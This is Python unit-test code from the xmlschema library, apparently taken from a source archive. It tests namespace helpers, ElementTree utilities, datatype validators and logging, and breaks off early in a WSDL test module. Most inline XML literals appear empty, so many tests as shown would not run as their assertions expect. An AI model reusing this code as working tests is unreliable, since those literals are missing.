xmlschema.validators.helpers import get_xsd_derivation_attribute, \ decimal_validator, qname_validator, \ base64_binary_validator, hex_binary_validator, \ int_validator, long_validator, unsigned_byte_validator, \ unsigned_short_validator, negative_int_validator, error_type_validator from xmlschema.validators.particles import OccursCalculator from xmlschema.resources import XMLResource XML_WITH_NAMESPACES = '\n' \ ' \n' \ '' class TestUtils(unittest.TestCase): @classmethod def setUpClass(cls): XMLSchema.meta_schema.build() @classmethod def tearDownClass(cls): XMLSchema.meta_schema.clear() def test_get_xsd_derivation_attribute(self): elem = ElementTree.Element(XSD_ELEMENT, attrib={ 'a1': 'extension', 'a2': ' restriction', 'a3': '#all', 'a4': 'other', 'a5': 'restriction extension restriction ', 'a6': 'other restriction' }) values = {'extension', 'restriction'} self.assertEqual(get_xsd_derivation_attribute(elem, 'a1', values), 'extension') self.assertEqual(get_xsd_derivation_attribute(elem, 'a2', values), ' restriction') result = get_xsd_derivation_attribute(elem, 'a3', values) self.assertSetEqual(set(result.strip().split()), set('extension restriction'.split())) self.assertRaises(ValueError, get_xsd_derivation_attribute, elem, 'a4', values) result = get_xsd_derivation_attribute(elem, 'a5', values) self.assertEqual(set(result.strip().split()), set('restriction extension restriction'.split())) self.assertRaises(ValueError, get_xsd_derivation_attribute, elem, 'a6', values) self.assertEqual(get_xsd_derivation_attribute(elem, 'a7', values), '') def test_parse_component(self): component = XMLSchema.meta_schema.types['anyType'] elem = ElementTree.Element(XSD_SCHEMA) self.assertIsNone(component._parse_child_component(elem)) elem.append(ElementTree.Element(XSD_ELEMENT)) self.assertEqual(component._parse_child_component(elem), elem[0]) elem.append(ElementTree.Element(XSD_SIMPLE_TYPE)) self.assertRaises(XMLSchemaParseError, component._parse_child_component, elem) self.assertEqual(component._parse_child_component(elem, strict=False), elem[0]) elem.clear() elem.append(ElementTree.Element(XSD_ANNOTATION)) self.assertIsNone(component._parse_child_component(elem)) elem.append(ElementTree.Element(XSD_SIMPLE_TYPE)) self.assertEqual(component._parse_child_component(elem), elem[1]) elem.append(ElementTree.Element(XSD_ELEMENT)) self.assertRaises(XMLSchemaParseError, component._parse_child_component, elem) self.assertEqual(component._parse_child_component(elem, strict=False), elem[1]) elem.clear() elem.append(ElementTree.Element(XSD_ANNOTATION)) elem.append(ElementTree.Element(XSD_ANNOTATION)) self.assertIsNone(component._parse_child_component(elem, strict=False)) elem.append(ElementTree.Element(XSD_SIMPLE_TYPE)) self.assertEqual(component._parse_child_component(elem), elem[2]) def test_raw_encode_value_function(self): self.assertIsNone(raw_encode_value(None)) self.assertEqual(raw_encode_value(True), 'true') self.assertEqual(raw_encode_value(False), 'false') self.assertEqual(raw_encode_value(10), '10') self.assertEqual(raw_encode_value(0), '0') self.assertEqual(raw_encode_value(1), '1') self.assertEqual(raw_encode_value('alpha'), 'alpha') self.assertEqual(raw_encode_value([10, 20, 30]), '10 20 30') self.assertEqual(raw_encode_value((10, 20, 30)), '10 20 30') def test_raw_encode_attributes_function(self): self.assertEqual(raw_encode_attributes(None), {}) self.assertEqual(raw_encode_attributes({}), {}) self.assertEqual(raw_encode_attributes({'a': 89, 'b': None}), {'a': '89'}) def test_count_digits_function(self): self.assertEqual(count_digits(10), (2, 0)) self.assertEqual(count_digits(-10), (2, 0)) self.assertEqual(count_digits(081.2), (2, 1)) self.assertEqual(count_digits(-081.200), (2, 1)) self.assertEqual(count_digits(0.51), (0, 2)) self.assertEqual(count_digits(-0.510), (0, 2)) self.assertEqual(count_digits(-0.510), (0, 2)) self.assertEqual(count_digits(decimal.Decimal('100.0')), (3, 0)) self.assertEqual(count_digits(decimal.Decimal('100.01')), (3, 2)) self.assertEqual(count_digits('100.01'), (3, 2)) self.assertEqual(count_digits(1E-11), (0, 11)) self.assertEqual(count_digits(b'100.0E+4'), (7, 0)) self.assertEqual(count_digits(decimal.Decimal('100.0E+4')), (7, 0)) self.assertEqual(count_digits(decimal.Decimal('100.00001E+4')), (7, 1)) self.assertEqual(count_digits(decimal.Decimal('0100.00E4')), (7, 0)) self.assertEqual(count_digits(decimal.Decimal('0100.00E12')), (15, 0)) self.assertEqual(count_digits(decimal.Decimal('0100.00E19')), (22, 0)) self.assertEqual(count_digits(decimal.Decimal('100.0E-4')), (0, 2)) self.assertEqual(count_digits(decimal.Decimal('0100.00E-4')), (0, 2)) self.assertEqual(count_digits(decimal.Decimal('0100.00E-8')), (0, 6)) self.assertEqual(count_digits(decimal.Decimal('0100.00E-9')), (0, 7)) self.assertEqual(count_digits(decimal.Decimal('0100.00E-12')), (0, 10)) self.assertEqual(count_digits(decimal.Decimal('100.10E-4')), (0, 5)) self.assertEqual(count_digits(decimal.Decimal('0100.10E-12')), (0, 13)) def test_strictly_equal_function(self): self.assertTrue(strictly_equal(10, 10)) self.assertFalse(strictly_equal(10, 10.0)) def test_iter_nested_items_function(self): self.assertListEqual(list(iter_nested_items({'a': 10, 'b': 20})), [10, 20]) self.assertListEqual(list(iter_nested_items([{'a': 10, 'b': 20}, 30])), [10, 20, 30]) with self.assertRaises(TypeError): list(iter_nested_items({'a': 10, 'b': 20}, dict_class=OrderedDict)) with self.assertRaises(TypeError): list(iter_nested_items([10, 20], list_class=tuple)) def test_occurs_calculator_class(self): counter = OccursCalculator() self.assertEqual(repr(counter), 'OccursCalculator(0, 0)') other = OccursCalculator() # Only for test isolation, usually it's a particle. other.min_occurs = 5 other.max_occurs = 10 counter += other self.assertEqual(repr(counter), 'OccursCalculator(5, 10)') counter *= other self.assertEqual(repr(counter), 'OccursCalculator(25, 100)') counter = OccursCalculator() counter.max_occurs = None self.assertEqual(repr(counter), 'OccursCalculator(0, None)') self.assertEqual(repr(counter * other), 'OccursCalculator(0, None)') self.assertEqual(repr(counter + other), 'OccursCalculator(5, None)') self.assertEqual(repr(counter * other), 'OccursCalculator(25, None)') counter.reset() self.assertEqual(repr(counter), 'OccursCalculator(0, 0)') counter.max_occurs = None other.min_occurs = other.max_occurs = 0 self.assertEqual(repr(counter * other), 'OccursCalculator(0, 0)') counter.reset() other.min_occurs = 0 other.max_occurs = None self.assertEqual(repr(counter * other), 'OccursCalculator(0, 0)') self.assertEqual(repr(counter + other), 'OccursCalculator(0, None)') self.assertEqual(repr(counter + other), 'OccursCalculator(0, None)') counter.max_occurs = 1 self.assertEqual(repr(counter * other), 'OccursCalculator(0, None)') def test_get_namespace(self): self.assertEqual(get_namespace(''), '') self.assertEqual(get_namespace('local'), '') self.assertEqual(get_namespace(XSD_ELEMENT), XSD_NAMESPACE) self.assertEqual(get_namespace('{wrong'), '') self.assertEqual(get_namespace(''), '') self.assertRaises(TypeError, get_namespace, None) self.assertEqual(get_namespace('{}name'), '') self.assertEqual(get_namespace('{ }name'), ' ') self.assertEqual(get_namespace('{ ns }name'), ' ns ') def test_get_qname(self): self.assertEqual(get_qname(XSD_NAMESPACE, 'element'), XSD_ELEMENT) self.assertEqual(get_qname(XSD_NAMESPACE, 'element'), XSD_ELEMENT) self.assertEqual(get_qname(XSI_NAMESPACE, 'type'), XSI_TYPE) self.assertEqual(get_qname(XSI_NAMESPACE, ''), '') self.assertRaises(TypeError, get_qname, XSI_NAMESPACE, None) self.assertRaises(TypeError, get_qname, XSI_NAMESPACE, 0) self.assertRaises(TypeError, get_qname, XSI_NAMESPACE, False) self.assertRaises(TypeError, get_qname, XSI_NAMESPACE, True) self.assertRaises(TypeError, get_qname, None, True) self.assertEqual(get_qname(None, 'element'), 'element') self.assertEqual(get_qname(None, ''), '') self.assertEqual(get_qname('', 'element'), 'element') def test_local_name(self): self.assertEqual(local_name('element'), 'element') self.assertEqual(local_name(XSD_ELEMENT), 'element') self.assertEqual(local_name('xs:element'), 'element') self.assertEqual(local_name(XSD_SCHEMA), 'schema') self.assertEqual(local_name('schema'), 'schema') self.assertEqual(local_name(''), '') self.assertRaises(TypeError, local_name, None) self.assertRaises(ValueError, local_name, '{ns name') self.assertRaises(TypeError, local_name, 1.0) self.assertRaises(TypeError, local_name, 0) def test_get_prefixed_qname(self): namespaces = {'xsd': XSD_NAMESPACE} self.assertEqual(get_prefixed_qname(XSD_ELEMENT, namespaces), 'xsd:element') namespaces = {'xs': XSD_NAMESPACE, 'xsi': XSI_NAMESPACE} self.assertEqual(get_prefixed_qname(XSD_ELEMENT, namespaces), 'xs:element') self.assertEqual(get_prefixed_qname('xs:element', namespaces), 'xs:element') self.assertEqual(get_prefixed_qname('element', namespaces), 'element') self.assertEqual(get_prefixed_qname('', namespaces), '') self.assertEqual(get_prefixed_qname(None, namespaces), None) self.assertEqual(get_prefixed_qname('{uri}element', namespaces), '{uri}element') self.assertEqual(get_prefixed_qname(XSI_TYPE, {}), XSI_TYPE) self.assertEqual(get_prefixed_qname(None, {}), None) self.assertEqual(get_prefixed_qname('', {}), '') self.assertEqual(get_prefixed_qname('type', {'': XSI_NAMESPACE}), 'type') self.assertEqual(get_prefixed_qname('type', {'': ''}), 'type') self.assertEqual(get_prefixed_qname('{}type', {'': ''}), 'type') self.assertEqual(get_prefixed_qname('{}type', {'': ''}, use_empty=False), '{}type') # Attention! in XML the empty namespace (that means no namespace) can be # associated only with empty prefix, so these cases should never happen. self.assertEqual(get_prefixed_qname('{}type', {'p': ''}), 'p:type') self.assertEqual(get_prefixed_qname('type', {'p': ''}), 'type') self.assertEqual(get_prefixed_qname('{ns}type', {'': 'ns'}, use_empty=True), 'type') self.assertEqual(get_prefixed_qname('{ns}type', {'': 'ns'}, use_empty=False), '{ns}type') self.assertEqual( get_prefixed_qname('{ns}type', {'': 'ns', 'p': 'ns'}, use_empty=True), 'p:type') self.assertEqual( get_prefixed_qname('{ns}type', {'': 'ns', 'p': 'ns'}, use_empty=False), 'p:type') self.assertEqual( get_prefixed_qname('{ns}type', {'': 'ns', 'p': 'ns0'}, use_empty=True), 'type') self.assertEqual( get_prefixed_qname('{ns}type', {'': 'ns', 'p': 'ns0'}, use_empty=False), '{ns}type') def test_get_extended_qname(self): namespaces = {'xsd': XSD_NAMESPACE} self.assertEqual(get_extended_qname('xsd:element', namespaces), XSD_ELEMENT) self.assertEqual(get_extended_qname(XSD_ELEMENT, namespaces), XSD_ELEMENT) self.assertEqual(get_extended_qname('xsd:element', namespaces={}), 'xsd:element') self.assertEqual(get_extended_qname('', namespaces), '') namespaces = {'xs': XSD_NAMESPACE} self.assertEqual(get_extended_qname('xsd:element', namespaces), 'xsd:element') namespaces = {'': XSD_NAMESPACE} self.assertEqual(get_extended_qname('element', namespaces), XSD_ELEMENT) def test_update_namespaces(self): nsmap = {} update_namespaces(nsmap, [('xs', XSD_NAMESPACE)]) self.assertEqual(nsmap, {'xs': XSD_NAMESPACE}) update_namespaces(nsmap, [('xs', XSD_NAMESPACE)]) self.assertEqual(nsmap, {'xs': XSD_NAMESPACE}) update_namespaces(nsmap, [('tns0', 'http://example.com/ns')]) self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, 'tns0': 'http://example.com/ns'}) update_namespaces(nsmap, [('xs', 'http://example.com/ns')]) self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, 'xs0': 'http://example.com/ns', 'tns0': 'http://example.com/ns'}) update_namespaces(nsmap, [('xs', 'http://example.com/ns')]) self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, 'xs0': 'http://example.com/ns', 'tns0': 'http://example.com/ns'}) update_namespaces(nsmap, [('xs', 'http://example.com/ns2')]) self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, 'xs0': 'http://example.com/ns', 'xs1': 'http://example.com/ns2', 'tns0': 'http://example.com/ns'}) nsmap = {} update_namespaces(nsmap, [('', XSD_NAMESPACE)]) self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema'}) update_namespaces(nsmap, [('', XSD_NAMESPACE)]) self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema'}) update_namespaces(nsmap, [('', 'http://example.com/ns')]) self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema', 'default0': 'http://example.com/ns'}) update_namespaces(nsmap, [('', 'http://example.com/ns2')], root_declarations=True) self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema', 'default0': 'http://example.com/ns', '': 'http://example.com/ns2'}) update_namespaces(nsmap, [('', 'http://example.com/ns2')]) self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema', 'default0': 'http://example.com/ns', '': 'http://example.com/ns2'}) update_namespaces(nsmap, [('', 'http://example.com/ns3')]) self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema', 'default0': 'http://example.com/ns', '': 'http://example.com/ns2', 'default1': 'http://example.com/ns3'}) def test_etree_get_ancestors(self): root = ElementTree.XML('') elem = ElementTree.XML('') self.assertIsNone(etree_get_ancestors(elem, root)) self.assertListEqual(etree_get_ancestors(root, root), []) self.assertListEqual(etree_get_ancestors(root[0], root), [root]) self.assertListEqual(etree_get_ancestors(root[0][0], root), [root, root[0]]) self.assertListEqual(etree_get_ancestors(root[2][0], root), [root, root[2]]) def test_etree_getpath(self): root = ElementTree.XML('') self.assertEqual(etree_getpath(root, root), '.') self.assertEqual(etree_getpath(root[0], root), './b1') self.assertEqual(etree_getpath(root[2][0], root), './b3/c3') self.assertEqual(etree_getpath(root[0], root, parent_path=True), '.') self.assertEqual(etree_getpath(root[2][0], root, parent_path=True), './b3') self.assertEqual(etree_getpath(root, root, relative=False), '/a') self.assertEqual(etree_getpath(root[0], root, relative=False), '/a/b1') self.assertEqual(etree_getpath(root[2][0], root, relative=False), '/a/b3/c3') self.assertEqual( etree_getpath(root[0], root, relative=False, parent_path=True), '/a' ) self.assertEqual( etree_getpath(root[2][0], root, relative=False, parent_path=True), '/a/b3' ) self.assertIsNone(etree_getpath(root, root[0])) self.assertIsNone(etree_getpath(root[0], root[1])) self.assertIsNone(etree_getpath(root, root, parent_path=True)) self.assertIsNone(etree_getpath(root, root[0], relative=False)) self.assertIsNone(etree_getpath(root[0], root[1], relative=False)) self.assertIsNone(etree_getpath(root, root, relative=False, parent_path=True)) def test_etree_elements_assert_equal(self): e1 = ElementTree.XML('text\n\n') e2 = ElementTree.XML('text\n\n') self.assertIsNone(etree_elements_assert_equal(e1, e1)) self.assertIsNone(etree_elements_assert_equal(e1, e2)) if lxml_etree is not None: e2 = lxml_etree.XML('text\n\n') self.assertIsNone(etree_elements_assert_equal(e1, e2)) e2 = ElementTree.XML('text\n\n') with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2) self.assertIn("has lesser children than text \n\n') self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2) self.assertIn("texts differ: 'text' != 'text '", str(ctx.exception)) e2 = ElementTree.XML('text\ntext\n') with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2, strict=False) self.assertIn("texts differ: None != 'text'", str(ctx.exception)) e2 = ElementTree.XML('text\n') self.assertIsNone(etree_elements_assert_equal(e1, e2)) e2 = ElementTree.XML('text\n') self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2) self.assertIn(r"tails differ: '\n' != None", str(ctx.exception)) e2 = ElementTree.XML('text\n\n') self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2) self.assertIn("attributes differ: {'a': '1'} != {'a': '1 '}", str(ctx.exception)) e2 = ElementTree.XML('text\n\n') with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2, strict=False) self.assertIn("attribute 'a' values differ: '1' != '2'", str(ctx.exception)) e2 = ElementTree.XML('text\n\n') self.assertIsNone(etree_elements_assert_equal(e1, e2)) self.assertIsNone(etree_elements_assert_equal(e1, e2, skip_comments=False)) if lxml_etree is not None: e2 = lxml_etree.XML('text\n\n') self.assertIsNone(etree_elements_assert_equal(e1, e2)) e1 = ElementTree.XML('+1') e2 = ElementTree.XML('+ 1 ') self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) e1 = ElementTree.XML('+1') e2 = ElementTree.XML('+1.1 ') with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2, strict=False) self.assertIn("texts differ: '+1' != '+1.1 '", str(ctx.exception)) e1 = ElementTree.XML('1') e2 = ElementTree.XML('true ') self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) self.assertIsNone(etree_elements_assert_equal(e2, e1, strict=False)) e2 = ElementTree.XML('false ') with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2, strict=False) self.assertIn("texts differ: '1' != 'false '", str(ctx.exception)) e1 = ElementTree.XML(' 0') self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) self.assertIsNone(etree_elements_assert_equal(e2, e1, strict=False)) e2 = ElementTree.XML('true ') with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2, strict=False) self.assertIn("texts differ: ' 0' != 'true '", str(ctx.exception)) e1 = ElementTree.XML('text\n\n') e2 = ElementTree.XML('texttail\n\n') with self.assertRaises(AssertionError) as ctx: etree_elements_assert_equal(e1, e2, strict=False) self.assertIn("tails differ: None != 'tail'", str(ctx.exception)) def test_iter_location_hints(self): elem = ElementTree.XML( """""" ) self.assertListEqual( list(etree_iter_location_hints(elem)), [('http://example.com/xmlschema/ns-A', 'import-case4a.xsd')] ) elem = ElementTree.XML( """""" ) self.assertListEqual( list(etree_iter_location_hints(elem)), [('', 'schema.xsd')] ) def test_prune_etree_function(self): root = ElementTree.XML('') self.assertFalse(prune_etree(root, lambda x: x.tag == 'C')) self.assertListEqual([e.tag for e in root.iter()], ['A', 'B', 'D']) self.assertEqual(root.attrib, {'id': '0'}) root = ElementTree.XML('') self.assertTrue(prune_etree(root, lambda x: x.tag != 'C')) self.assertListEqual([e.tag for e in root.iter()], ['A']) self.assertEqual(root.attrib, {'id': '1'}) class SelectorClass: tag = 'C' @classmethod def class_method(cls, elem): return elem.tag == cls.tag def method(self, elem): return elem.tag != self.tag selector = SelectorClass() root = ElementTree.XML('') self.assertFalse(prune_etree(root, selector.class_method)) self.assertListEqual([e.tag for e in root.iter()], ['A', 'B', 'D']) self.assertEqual(root.attrib, {'id': '0'}) root = ElementTree.XML('') self.assertTrue(prune_etree(root, selector.method)) self.assertListEqual([e.tag for e in root.iter()], ['A']) self.assertEqual(root.attrib, {'id': '1'}) root = ElementTree.XML('') prune_etree(root, selector=lambda x: x.tag == 'b1') self.assertListEqual([e.tag for e in root.iter()], ['a', 'b2', 'b3', 'c3']) root = ElementTree.XML('') prune_etree(root, selector=lambda x: x.tag.startswith('c')) self.assertListEqual([e.tag for e in root.iter()], ['a', 'b1', 'b2', 'b3']) def test_etree_tostring(self): self.assertRaises(TypeError, etree_tostring, '') elem = ElementTree.Element('element') self.assertEqual(etree_tostring(elem), '') self.assertEqual(etree_tostring(elem, xml_declaration=True), '') self.assertEqual(etree_tostring(elem, encoding='us-ascii'), b'') self.assertEqual(etree_tostring(elem, encoding='us-ascii', indent=' '), b' ') self.assertEqual(etree_tostring(elem, encoding='us-ascii', xml_declaration=True), b'\n') elem.text = '\t' self.assertEqual(etree_tostring(elem), ' ') self.assertEqual(etree_tostring(elem, spaces_for_tab=2), ' ') self.assertEqual(etree_tostring(elem, spaces_for_tab=0), '') self.assertEqual(etree_tostring(elem, spaces_for_tab=None), '\t') elem.text = '\n\n' self.assertEqual(etree_tostring(elem), '\n\n') self.assertEqual(etree_tostring(elem, indent=' '), ' \n\n ') elem.text = '\nfoo\n' self.assertEqual(etree_tostring(elem), '\nfoo\n') self.assertEqual(etree_tostring(elem, indent=' '), ' \n foo\n ') elem.text = None self.assertEqual(etree_tostring(elem, encoding='ascii'), b"\n") self.assertEqual(etree_tostring(elem, encoding='ascii', xml_declaration=False), b'') self.assertEqual(etree_tostring(elem, encoding='utf-8'), b'') self.assertEqual(etree_tostring(elem, encoding='utf-8', xml_declaration=True), b'\n') self.assertEqual(etree_tostring(elem, encoding='iso-8859-1'), b"\n") self.assertEqual(etree_tostring(elem, encoding='iso-8859-1', xml_declaration=False), b"") self.assertEqual(etree_tostring(elem, method='html'), '') self.assertEqual(etree_tostring(elem, method='text'), '') root = ElementTree.XML('\n' ' text1\n' ' text2\n' '') self.assertEqual(etree_tostring(root, method='text'), '\n text1\n text2') self.assertEqual(etree_tostring(root, max_lines=1), '\n ...\n ...\n') root = ElementTree.XML(XML_WITH_NAMESPACES) result = etree_tostring(root) self.assertNotEqual(result, XML_WITH_NAMESPACES) self.assertNotIn('pxa', result) self.assertNotIn('pxa', result) self.assertRegex(result, r'xmlns:ns\d="http://xpath.test/nsa') self.assertRegex(result, r'xmlns:ns\d="http://xpath.test/nsb') namespaces = { 'pxa': "http://xpath.test/nsa", 'pxb': "http://xpath.test/nsb" } expected = '\n' \ ' \n' \ '' self.assertEqual(etree_tostring(root, namespaces), expected) namespaces = { '': "http://xpath.test/nsa", 'pxa': "http://xpath.test/nsa", 'pxb': "http://xpath.test/nsb" } self.assertEqual(etree_tostring(root, namespaces), expected) namespaces = { '': "http://xpath.test/nsa", 'pxb': "http://xpath.test/nsb" } expected = '\n' \ ' \n' \ '' self.assertEqual(etree_tostring(root, namespaces), expected) @unittest.skipIf(lxml_etree is None, 'lxml is not installed ...') def test_etree_tostring_with_lxml_element(self): elem = lxml_etree.Element('element') self.assertEqual(etree_tostring(elem), '') self.assertEqual(etree_tostring(elem, xml_declaration=True), '') self.assertEqual(etree_tostring(elem, encoding='us-ascii'), b'') self.assertEqual(etree_tostring(elem, encoding='us-ascii', indent=' '), b' ') elem.text = '\t' self.assertEqual(etree_tostring(elem), ' ') self.assertEqual(etree_tostring(elem, spaces_for_tab=2), ' ') self.assertEqual(etree_tostring(elem, spaces_for_tab=0), '') self.assertEqual(etree_tostring(elem, spaces_for_tab=None), '\t') elem.text = None self.assertEqual(etree_tostring(elem, encoding='us-ascii'), b'') self.assertEqual(etree_tostring(elem, encoding='us-ascii', xml_declaration=True), b'\n') self.assertEqual(etree_tostring(elem, encoding='ascii'), b'') self.assertEqual(etree_tostring(elem, encoding='ascii', xml_declaration=True), b'\n') self.assertEqual(etree_tostring(elem, encoding='utf-8'), b'') self.assertEqual(etree_tostring(elem, encoding='utf-8', xml_declaration=True), b'\n') self.assertEqual(etree_tostring(elem, encoding='iso-8859-1'), b"\n") self.assertEqual(etree_tostring(elem, encoding='iso-8859-1', xml_declaration=False), b"") self.assertEqual(etree_tostring(elem, method='html'), '') self.assertEqual(etree_tostring(elem, method='text'), '') root = lxml_etree.XML('\n' ' text1\n' ' text2\n' '') self.assertEqual(etree_tostring(root, method='text'), '\n text1\n text2') root = lxml_etree.XML(XML_WITH_NAMESPACES) self.assertEqual(etree_tostring(root), XML_WITH_NAMESPACES) namespaces = { 'tns0': "http://xpath.test/nsa", 'tns1': "http://xpath.test/nsb" } self.assertEqual(etree_tostring(root, namespaces), XML_WITH_NAMESPACES) for prefix, uri in namespaces.items(): lxml_etree.register_namespace(prefix, uri) self.assertEqual(etree_tostring(root), XML_WITH_NAMESPACES) def test_decimal_validator(self): self.assertIsNone(decimal_validator(10)) self.assertIsNone(decimal_validator(10.1)) self.assertIsNone(decimal_validator(10E9)) self.assertIsNone(decimal_validator('34.21')) with self.assertRaises(XMLSchemaValidationError): decimal_validator(float('inf')) with self.assertRaises(XMLSchemaValidationError): decimal_validator(float('nan')) with self.assertRaises(XMLSchemaValidationError): decimal_validator('NaN') with self.assertRaises(XMLSchemaValidationError): decimal_validator('10E9') with self.assertRaises(XMLSchemaValidationError): decimal_validator('ten') def test_qname_validator(self): self.assertIsNone(qname_validator("foo")) self.assertIsNone(qname_validator("bar:foo")) with self.assertRaises(XMLSchemaValidationError): qname_validator("foo:bar:foo") with self.assertRaises(XMLSchemaValidationError): qname_validator("foo: bar") with self.assertRaises(XMLSchemaValidationError): qname_validator(" foo:bar") # strip already done by white-space facet def test_hex_binary_validator(self): self.assertIsNone(hex_binary_validator("aff1c9")) self.assertIsNone(hex_binary_validator("2aF3Bc")) self.assertIsNone(hex_binary_validator("")) with self.assertRaises(XMLSchemaValidationError): hex_binary_validator("aff1c") with self.assertRaises(XMLSchemaValidationError): hex_binary_validator("aF3Bc") with self.assertRaises(XMLSchemaValidationError): hex_binary_validator("xaF3Bc") def test_base64_binary_validator(self): self.assertIsNone(base64_binary_validator("YWVpb3U=")) self.assertIsNone(base64_binary_validator("YWVpb 3U=")) self.assertIsNone(base64_binary_validator('')) with self.assertRaises(XMLSchemaValidationError): base64_binary_validator("YWVpb3U==") def test_int_validator(self): self.assertIsNone(int_validator(2 ** 31 - 1)) self.assertIsNone(int_validator(-2 ** 31)) with self.assertRaises(XMLSchemaValidationError): int_validator(2 ** 31) def test_long_validator(self): self.assertIsNone(long_validator(2 ** 63 - 1)) self.assertIsNone(long_validator(-2 ** 63)) with self.assertRaises(XMLSchemaValidationError): long_validator(2 ** 63) def test_unsigned_byte_validator(self): self.assertIsNone(unsigned_byte_validator(255)) self.assertIsNone(unsigned_byte_validator(0)) with self.assertRaises(XMLSchemaValidationError): unsigned_byte_validator(256) def test_unsigned_short_validator(self): self.assertIsNone(unsigned_short_validator(2 ** 16 - 1)) self.assertIsNone(unsigned_short_validator(0)) with self.assertRaises(XMLSchemaValidationError): unsigned_short_validator(2 ** 16) def test_negative_int_validator(self): self.assertIsNone(negative_int_validator(-1)) self.assertIsNone(negative_int_validator(-2 ** 65)) with self.assertRaises(XMLSchemaValidationError): negative_int_validator(0) def test_error_type_validator(self): with self.assertRaises(XMLSchemaValidationError): error_type_validator('alpha') with self.assertRaises(XMLSchemaValidationError): error_type_validator(0) def test_set_logging_level(self): logger = logging.getLogger('xmlschema') current_level = logger.level try: self.assertRaises(TypeError, set_logging_level, None) self.assertEqual(logger.level, current_level) set_logging_level(logging.DEBUG) self.assertEqual(logger.level, logging.DEBUG) set_logging_level('ERROR') self.assertEqual(logger.level, logging.ERROR) self.assertRaises(ValueError, set_logging_level, 'WRONG') finally: logger.setLevel(current_level) def test_logged_decorator(self): logger = logging.getLogger('xmlschema') def func(*args, **kwargs): logger.warning('Warning log line') logger.info('Info log line') logger.debug('Debug log line') with self.assertLogs('xmlschema', level='DEBUG') as ctx: logged(func)(loglevel='ERROR') self.assertEqual(logger.level, logging.DEBUG) self.assertEqual(len(ctx.output), 0) logged(func)(loglevel='WARNING') self.assertEqual(logger.level, logging.DEBUG) self.assertEqual(len(ctx.output), 1) self.assertIn("Warning log line", ctx.output[-1]) logged(func)(loglevel='INFO') self.assertEqual(logger.level, logging.DEBUG) self.assertEqual(len(ctx.output), 3) self.assertIn("Warning log line", ctx.output[-2]) self.assertIn("Info log line", ctx.output[-1]) logged(func)() self.assertEqual(logger.level, logging.DEBUG) self.assertEqual(len(ctx.output), 6) self.assertIn("Warning log line", ctx.output[-3]) self.assertIn("Info log line", ctx.output[-2]) self.assertIn("Debug log line", ctx.output[-1]) def test_format_xmlschema_stack(self): phrase = 'this is a test' self.assertNotIn(phrase, format_xmlschema_stack(phrase), '') self.assertIn(phrase, format_xmlschema_stack('this is a test'), '') def test_dump_data(self): if sys.version_info >= (3, 11): with self.assertNoLogs('xmlschema', 'WARNING'): dump_data() xml_data = XMLResource('', lazy=True) with self.assertLogs('xmlschema', 'WARNING') as cm: dump_data(xml_data, 1, 2, 3, 'foo') self.assertIn('dump data for xmlschema', cm.output[0]) self.assertNotIn('URL:', cm.output[0]) with self.assertLogs('xmlschema', 'WARNING') as cm: dump_data(XMLSchema.meta_schema.source) self.assertIn('dump data for xmlschema', cm.output[0]) self.assertIn('URL:', cm.output[0]) def test_will_change_decorator(self): @will_change('2.0') def f(): pass with warnings.catch_warnings(record=True) as ctx: warnings.simplefilter("always") _ = f() self.assertEqual(len(ctx), 1, "Wrong number of include/import warnings") self.assertEqual(ctx[0].category, FutureWarning) self.assertTrue(str(ctx[0].message).endswith(" will change from v2.0.")) def test_deprecated_decorator(self): @deprecated('2.0') def f(): pass with warnings.catch_warnings(record=True) as ctx: warnings.simplefilter("always") _ = f() self.assertEqual(len(ctx), 1, "Wrong number of include/import warnings") self.assertEqual(ctx[0].category, DeprecationWarning) self.assertTrue(str(ctx[0].message).endswith(" will be removed in v2.0.")) if __name__ == '__main__': run_xmlschema_tests('utils') xmlschema-4.1.0/tests/test_wsdl.py000066400000000000000000001276151502040105500172250ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests concerning WSDL documents. Examples from WSDL 1.1 definition document.""" import pathlib import warnings from xml.etree import ElementTree from xmlschema import XMLSchemaValidationError, XMLSchema10, XMLSchema11 from xmlschema.extras.wsdl import WsdlParseError, WsdlComponent, WsdlMessage, \ WsdlPortType, WsdlOperation, WsdlBinding, WsdlService, Wsdl11Document, \ WsdlInput, SoapHeader from xmlschema.testing import XMLSchemaTestCase, run_xmlschema_tests WSDL_DOCUMENT_EXAMPLE = """ My first service """ WSDL_DOCUMENT_NO_SOAP = """ """ class TestWsdlDocuments(XMLSchemaTestCase): cases_dir = pathlib.Path(__file__).absolute().parent.joinpath('test_cases') @classmethod def setUpClass(cls): cls.vh_dir = cls.casepath('examples/vehicles') cls.vh_xsd_file = cls.casepath('examples/vehicles/vehicles.xsd') cls.vh_xml_file = cls.casepath('examples/vehicles/vehicles.xml') cls.col_dir = cls.casepath('examples/collection') cls.col_xsd_file = cls.casepath('examples/collection/collection.xsd') cls.col_xml_file = 